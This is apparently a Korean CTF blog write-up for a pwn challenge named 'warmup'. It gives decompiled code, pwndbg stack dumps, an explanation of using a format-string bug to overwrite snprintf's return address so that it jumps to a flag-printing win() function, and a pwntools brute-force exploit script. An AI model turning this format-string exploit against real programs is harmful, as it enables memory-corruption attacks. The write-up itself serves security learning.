반응형
Summary
overwrite snprintf's ret and brute forcing
__int64 initialize()
{
__int64 result; // rax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("flag.txt", 0);
result = (unsigned int)fd;
if ( fd < 0 )
{
puts("flag.txt not found");
exit(1);
}
return result;
}
void __noreturn vuln()
{
char buf[256]; // [rsp+0h] [rbp-210h]
char s[256]; // [rsp+100h] [rbp-110h]
unsigned __int64 v2; // [rsp+208h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x100uLL);
snprintf(s, 0x100uLL, buf);
exit(0);
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
initialize();
vuln();
}
special
unsigned __int64 win()
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(fd, &buf, 0x1EuLL);
write(1, &buf, 0x1EuLL);
return __readfsqword(0x28u) ^ v2;
}
Exploit
snprintf_before
► 0x55d6a2fcfa05 <vuln+78> call snprintf@plt <0x55d6a2fcf7b0>
s: 0x7fff6ec57480 —▸ 0x7feccf3ea700 ◂— 0x7feccf3ea700
maxlen: 0x100
format: 0x7fff6ec57380 ◂— 0x2432312563303225 ('%20c%12$')
vararg: 0x7feccef0d260 (__read_nocancel+7) ◂— cmp rax, -0xfff
pwndbg> x/40gx $rsp
0x7fff6ec57380: 0x2432312563303225 0x00007fff6e6e6868
0x7fff6ec57390: 0x000000006562b026 0x0000000001958ac0
0x7fff6ec573a0: 0x0000000000000026 0x00007fff6ec574d0
0x7fff6ec573b0: 0x00007fff6ecd22b0 0x00007fff6ecd21a8
0x7fff6ec573c0: 0x00007fff6ec573f4 <== Here!
snprintf_ret
► 0x7feccee6b939 <snprintf+137> ret <0x55d6a2fcfa0a; vuln+83>
pwndbg> x/40gx $rsp
0x7fff6ec57378: 0x000055d6a2fcfa0a 0x2432312563303225
0x7fff6ec57388: 0x00007fff6e6e6868 0x000000006562b026
0x7fff6ec57398: 0x0000000001958ac0 0x0000000000000026
0x7fff6ec573a8: 0x00007fff6ec574d0 0x00007fff6ecd22b0
0x7fff6ec573b8: 0x00007fff6ecd21a8 0x00007fff6ec573f4 <== 0x00007fff6ec573XX!
snprintf의 ret 주소를 스택에 만들어 주기 위하여 해당 주소와 최대한 유사한 주소를 스택에서 찾으면 위와 같이 buf의 시작 + 0x40 위치에 존재하는 0x00007fff6ec573f4이다.
해당 값의 위치는 사용자가 입력할 수 있는 영역이므로, 0x00007fff6ec573f4를 한바이트 덮어서 0x7fff6ec57378로 변경할 수 있다.
스택에 snprintf
의 ret 주소를 만든 뒤, fsb를 이용하여 해당 주소의 값을 변경할 수 있는데, 기존 ret 값은 0x000055d6a2fcfa0a으로 vuln+83
을 나타냈다면 마지막 1바이트를 수정하여 win
의 시작주소 0x000055d6a2fcfa14으로 변경할 수 있다.
스택의 주소는 랜덤이기 때문에 약간의 brute forcing을 시도한다면 snprintf
의 ret를 덮어서 win
을 호출할 수 있다.
Payload
#/usr/bin/python
from pwn import *
for i in range(0, 0x100):
r = process('./warmup')
payload = '%20c'
payload += '%12$hhn'
payload += 'A' * (0x40 - len(payload))
payload += '\x78'
#sleep(8)
r.send(payload)
try:
a = r.recv(100)
print(a)
break
except Exception:
print('A')
r.interactive()
반응형
'Write-up' 카테고리의 다른 글
[ASIS CTF Quals 2020] Baby note (0) | 2020.07.12 |
---|---|
Uncrackable 3 write up (0) | 2020.07.10 |
[bytebandits 2020] baby_rust writeup (0) | 2020.04.14 |
[bytebandits 2020] fmt-me writeup (0) | 2020.04.14 |
[pwnable.kr] fix writeup (0) | 2019.07.13 |